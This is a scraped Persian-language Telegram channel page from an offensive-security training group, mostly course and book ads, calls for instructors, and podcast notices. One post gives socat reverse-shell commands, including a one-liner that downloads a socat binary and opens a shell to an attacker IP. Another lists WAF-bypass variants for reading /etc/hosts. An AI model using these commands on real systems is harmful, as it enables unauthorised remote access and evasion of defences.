Try Hack Box
7.36K subscribers
755 photos
81 videos
144 files
773 links
1 Nov 2020
1399/08/11


🔴 THB | Offensive Security

آموزش، تحقیق و تجربه عملی در امنیت تهاجمی

Penetration Testing · Red Teaming · AI Security

🎯 یاد بگیر. آزمایش کن. حرفه‌ای شو.
Download Telegram
⚡لیستی از ۱۰۰ آسیب‌ پذیری وب

@TryHackBox
#آسیب_پذیری
🔥9
This media is not supported in your browser
VIEW IN TELEGRAM
روز بزرگداشت کوروش بزرگ بر تمامی ایرانیان خجسته باد.

۷ آبان، روز بزرگداشت کوروش بزرگ فرصتی است برای مرور تاریخ، تأمل در ریشه‌ها و یادآوری اینکه گذشته همیشه بخشی از هویت ماست. نه ستایش بی‌ پایان، نه تحقیر، فقط مرور واقعیت و یادآوری اثرگذاری یک انسان در تاریخ ایران


@TryHackBox
🔥15❤7👎7🙏1
🔥 سری Bash برای باگ هانترها

قسمت ۲ 
دیگه مستقیم nc استفاده نکن و با commandهای زیر امتحان کن: 
rlwrap -cAr nc -lvnp <port>  
یا 
rlwrap -f. -r nc -lnvp <port>

حالا میتونی از arrow keys برای navigation history command استفاده کنی، اما هنوز full keyboard functionality نداری (مثل nano، CTRL shortcuts).

برای full interactive keyboard controls، از socat interactive shell استفاده کن:

در سمت attacker: 
socat file:tty,raw,echo=0 tcp-listen:<port>  

اگر error داد، امتحان کن: 
socat file:$(tty),raw,echo=0 tcp-listen:<port>

در سمت victim (برای full TTY reverse shell): 
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>

اگر socat روی victim machine نصب نیست، از این one-liner برای دانلود static binary استفاده کن: 
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>

برای stop کردن socat: 
ps aux | grep socat  
Kill -9 socat <PID>

نکته: <port> رو با پورت دلخواهت جایگزین کن، <attacker_ip> رو با IP خودت، و <PID> رو با process ID.

کدوم command رو اول در listenerت تست میکنی یا منتظر قسمت بعدی هستی؟



@TryHackBox
#باگ_بانتی
❤6
دوستان بخاطر شرایط ناپایدار مجبورا و ناخواسته مجبور شدیم یک کانال توی بله بالا بیاریم ، برای اینکه از آموزش و خرید کتابهای جدید جا نمونید اگه این بله دارید ما را دنبال کنید فعلا فعالیت همینجاست ولی از جایی که شرایط کشور معلوم نیست چی به چیه احتمال قطعی اینترنت هست .

کانال ما در بله

https://ble.ir/TryHackBox
❤12👎1
Python for Pentesters - s.pdf
234.3 KB
📢 دعوت به همکاری جذب مدرس دوره Python for Pentesters

مجموعه TryHackBox برای برگزاری دوره تخصصی Python for Pentesters از افراد متخصص و باتجربه در زمینه برنامه‌نویسی Python و امنیت سایبری دعوت به همکاری می ‌کند.

هدف این دوره، آموزش کاربردی Python با تمرکز بر نیازهای واقعی متخصصان تست نفوذ و توسعه ابزارهای اختصاصی در حوزه Offensive Security است.

نحوه همکاری:

همکاری در طراحی محتوای آموزشی، ضبط و تدریس جلسات و توسعه پروژه‌ های عملی دوره خواهد بود. جزئیات مدل همکاری و شرایط مالی پس از بررسی سوابق مشخص می ‌شود.

🎯 اگر در این حوزه تجربه عملی و تخصص کافی دارید و علاقه ‌مند به همکاری در تولید یک دوره تخصصی و پروژه‌ محور هستید، رزومه یا معرفی کوتاهی از سوابق خود را برای ما ارسال کنید.

📌 سرفصل ها دوره در فایل موجود است .


📩 جهت اعلام آمادگی و دریافت اطلاعات بیشتر، از طریق پیام خصوصی با ما در ارتباط باشید:

@THBxSupport
🔥 سری Bypass برای باگ هانترها

قسمت ۴ 

Crazy WAF Bypass:  
cat /etc/hosts - WAF رو trigger میکنه

rev /etc/hosts | rev 
od -An -c /etc/hosts | tr -d ' ' 
cat $HOME/../../etc/hosts 
cat ${PWD}/../../../etc/hosts 
grep "" /etc/hosts 
cut -c1- /etc/hosts 
paste /etc/hosts

بچه‌ ها، در مورد این تکنیک‌ های WAF bypass که ساختم چی فکر میکنین؟ 
صبر کنین برای آخرین قسمت واقعا عالیه!
کدوم یکی رو اول امتحان میکنی یا آماده قسمت آخر هستی؟



@TryHackBox
#باگ_بانتی
❤‍🔥8
Forwarded from TryHackBox
📖 نقشه راه شروع باگ بانتی برای مبتدیان

اگر می‌خواهید باگ ‌بانتی را از پایه شروع کنید، صرفاً یادگیری ابزارها کافی نیست.
در این نقشه راه، مسیر پیشنهادی از پایه‌های فنی و منابع یادگیری تا تمرین، پلتفرم‌های Bug Bounty، نوشتن گزارش و نکات مهم شروع این مسیر را مرور کرده‌ایم.

برای مشاهده به لینکدین مراجعه کنید :
https://lnkd.in/p/dtB9MXg5

اگر بعد از این نقشه راه دنبال یک منبع عملی‌تر برای شروع هستید، کتاب «شکار عملی باگ بانتی» THB هم می‌تواند نقطه شروع مناسبی باشد.

📩
@THBxSupport

🆔 @TryHackBox
🆔 @TryHackBoxOfficial > RoadMap
🆔
@AiTHB > Ai Security
🆔 @RadioZeroPod > Podcast
🔥3
Media is too big
VIEW IN TELEGRAM
📌 دوره: راهنمای جامع ابزار Mimikatz

💢اگر در حوزه Red Teaming یا Windows Penetration Testing فعالیت می‌کنید، Mimikatz ابزاری است که شناخت آن همچنان اهمیت دارد.

قدیمی شدن یک ابزار لزوماً به معنای بی‌ استفاده شدن آن نیست. در عملیات واقعی، شناخت مکانیزم‌ های داخلی، درک تکنیک‌ ها و توانایی سفارشی‌ سازی ابزارها (Customization) اهمیت بیشتری از اجرای ساده نسخه پیش‌فرض آن‌ها دارد.


فرصت یادگیری این مهارت را به تعویق نیندازید در دنیای Red Team، فاصله میان شناخت یک ابزار و توانایی استفاده مؤثر از آن، همان چیزی است که سطح تخصص شما را مشخص می‌ کند.

📌 توضیحات کامل

◽مدرس : مهندس سجاد تیموری
◽مدت زمان دوره : ۵ ساعت ۲۰ دقیقه
◻ دوره : آفلاین
⭕ دوره دارای گروه پشتیبانی می باشد.

💰 قیمت :     ۲,۰۰۰,۰۰۰  تومان
💰 با تخفیف ویژه : ۱,۲۵۰,۰۰۰ تومان

📌 جهت خرید،به ایدی زیر پیام دهید:

@ThbxSupport
Group
@TryHackBox
👎3🔥2
Forwarded from TryHackBox
Network Reconnaissance & Service Enumeration tryhackbox.pdf
93.8 KB
📌 دعوت به همکاری برای تدریس مینی دوره Network Reconnaissance
مجموعه TryHackBox برای تولید و انتشار مینی دوره تخصصی Network Reconnaissance & Service Enumeration از متخصصان و فعالان حوزه امنیت شبکه و تست نفوذ دعوت به همکاری میکند.

هدف این مینی دوره، آموزش عملی شناسایی زیرساخت شبکه، کشف هاست های فعال، اسکن پورت‌ ها، شناسایی سرویس‌ ها و استخراج اطلاعات فنی از سرویس‌ های شبکه در محیط آزمایشگاهی است.


➖ مدت دوره: ۸ ساعت

📌 سرفصل ها دوره در فایل موجود است .



⭕ متخصصانی که در این حوزه تجربه عملی و توانایی تولید محتوای آموزشی دارند، می‌توانند برای اعلام آمادگی همکاری و دریافت جزئیات بیشتر با ما در ارتباط باشند .

جهت جزئیات بیشتر پیام دهید :

@ThbxSupport
❤2
🔥 یک سناریوی واقعی از عملیات Red Team؛ شما چطور از AV و EDR عبور میکنید؟

فرض کنید در جریان یک مأموریت رسمی و مجاز Red Team، به سازمانی وارد شده‌اید که از راهکارهای امنیتی پیشرفته، از جمله جدیدترین محصولات EDR و Antivirus استفاده میکند.

هدف مأموریت مشخص است: ارزیابی توانایی تیم دفاعی سازمان در شناسایی فعالیت‌ های تهاجمی و بررسی اینکه آیا یک اتکر میتواند بدون ایجاد هشدار مؤثر، به اهداف موردنظر خود دسترسی پیدا کند یا خیر.

اما یک چالش جدی وجود دارد:

راهکارهای امنیتی صرفاً به Signature Detection متکی نیستند؛ آنها از Behavioral Analysis، Heuristic Detection و سایر مکانیزم‌ های تشخیص نیز استفاده میکنند.

حالا سؤال اینجاست:

اگر شما عضو تیم Red Team باشید، برای ارزیابی و به چالش کشیدن این مکانیزم‌ های دفاعی از چه تکنیک‌ ها و رویکردهایی استفاده میکنید؟


💬 در بخش نظرات تجربه و دیدگاه خودتان را مطرح کنید:

در مواجهه با AV و EDR، اولویت شما بررسی کدام مکانیزم تشخیص است؟

چه تکنیک‌ هایی را برای ارزیابی قابلیت‌های Detection و Evasion در نظر میگیرید؟

آیا تجربه کار با ابزارها یا فریم‌ ورک‌ هایی مثل Cobalt Strike، Sliver، Mythic یا ابزارهای اختصاصی خودتان را داشته‌اید؟

به نظرتان در عملیات واقعی Red Team، کدام بخش از زنجیره حمله بیشترین احتمال شناسایی را دارد؟

🎯 هدف این بحث، تبادل تجربه فنی است؛ نه صرفاً معرفی ابزارها.


سعی کنید در پاسخ‌ هایتان از تجربه عملی، تحلیل فنی و دلیل انتخاب روش‌ ها صحبت کنید.

منتظر دیدگاه متخصصان Red Team و Malware Analysis هستیم.



➖➖➖➖➖➖➖➖➖➖➖➖
لینک گروه جهت پیوستن :
@TryHackBoxGroup



🆔 @TryHackBox

🆔@TryHackBoxOfficial
🆔
@AiTHB
🆔
@RadioZeroPod


Github | Linkedin | YouTube | Instagram

#Red_Team #CyberSecurity
❤6
Forwarded from Try Hack Box
📚 مجموعه کتابهای کاربردی در دنیای امنیت

📖 کتابچه "Mimikatz: تسلط عملی بر تکنیک‌های پیشرفته حملات Active Directory" از مقدماتی تا پیشرفته.

📕 جزئیات بیشتر کتاب

💰 قیمت : ۲۵۰,۰۰۰ تومان

📖 وایرشارک برای ردتیمرها: از پایه تا پیشرفته

📕 جزئیات بیشتر کتاب

💰 قیمت : ۲۵۰,۰۰۰ تومان

📖 شکار عملی باگ بانتی : از Recon تا Bounty واقعی : متدولوژی و شناسایی و آسیب پذیری های دنیای واقعی

📕 جزئیات بیشتر کتاب

💰 قیمت : ۳۶۰,۰۰۰ تومان

📖 کتابچه Kerberos For Pentesters

📕 جزئیات بیشتر کتاب

💰 قیمت : ۲۶۹ تومان


ممکنه در آینده قیمت کتاب‌ ها تغییر کنه و افزایش داشته باشه بنابراین اگر قصد خرید دارید، قیمت فعلی فرصت خوبی برای تهیه کتاب‌ هاست.

📌 جهت خرید به ایدی زیر پیام دهید:
@THBxSupport
ا📌 AutoKRP یک سامانه یکپارچه برای مدیریت و خودکارسازی عملیات IT و امنیت شبکه است. این پروژه ابزارهایی مانند Splunk، AbuseIPDB، FortiGate و Redmine را به یکدیگر متصل می‌کند. همچنین امکانات مدیریت SSH، پایش شبکه و نگهداری رمزنگاری‌شده اطلاعات دسترسی را فراهم می‌کند. هدف آن متمرکزسازی و ساده‌سازی عملیات تیم‌های IT و SOC در قالب معماری کلاینت–سرور چندکاربره است.

https://github.com/Kamyar-rp/AutoKRP


دوستان، ممنون میشیم اگر ایراد، مشکل یا نکته‌ای برای بهبود مشاهده کردید، در بخش کامنت‌ ها مطرح کنید تا بررسی کنیم و در صورت نیاز اصلاحات لازم صورت بگیرد .


🆔 @TryHackBox
🆔 @TryHackBoxOfficial
❤1
قسمت شانزدهم رادیو زیرو تاک - رادیو زیرو پاد
Mahdi Hasanzadeh | @RadioZeroPod - @TryHackBox
⭕️ قسمت شانزدهم رادیو زیرو تاک

📌 موضوع جلسه :

📌 متدولوژی حرفه‌ای Web Pentesting

🎙 مهمان برنامه : مهندس میثم منصف

▫️کانال تلگرام مهندس منصف :
@seccode
منتظر جلسه بعدی باشید.

🎤 راهبر گفتگوی امنیتی : مهدی حسن زاده

🆔
@RadioZeroPod
🆔
@TryHackBox
🆔
@TryHackBoxOfficial
🆔
@AiTHB
❤11
رادیو زیرو پاد
Mahdi Hasanzadeh | @RadioZeroPod - @TryHackBox – قسمت شانزدهم رادیو زیرو تاک - رادیو زیرو پاد
نظر شما درباره این جلسه با موضوع «متدولوژی حرفه‌ای Web Pentesting» برای ما مهمه.

آیا محتوای این گفت‌وگو براتون مفید و کاربردی بود؟

اگر از این جلسه استقبال کردید، با ریکشن اعلام کنید و نظرات، پیشنهادها و انتقاداتتون رو در کامنت‌ ها بنویسید.

بازخورد شما در برنامه‌ریزی جلسات بعدی تأثیرگذار خواهد بود.
❤11
🎙 دعوت به همکاری در تیم پادکست و گفتگوهای امنیت سایبری

مجموعه TryHackBox برای توسعه مجموعه پادکست‌ ها و برگزاری گفتگوهای تخصصی با فعالان و متخصصان حوزه امنیت سایبری، از علاقه‌مندان برای پیوستن به تیم تولید محتوا دعوت میکند.

زمینه‌های همکاری:

اجرا و گویندگی پادکست
تحقیق و سناریونویسی
اجرای گفتگو و مصاحبه با متخصصان
تولید و تدوین محتوای صوتی

اگر به دنیای پادکست علاقه‌ مندی، فن بیان خوبی داری یا دوست داری در کنار افراد فعال حوزه امنیت سایبری تجربه کسب کنی، خوشحال میشیم عضوی از تیم ما باشی.
نوع همکاری: داوطلبانه
📩 برای اعلام آمادگی و آشنایی بیشتر، پیام بدید:
@ThbxSupport
❤5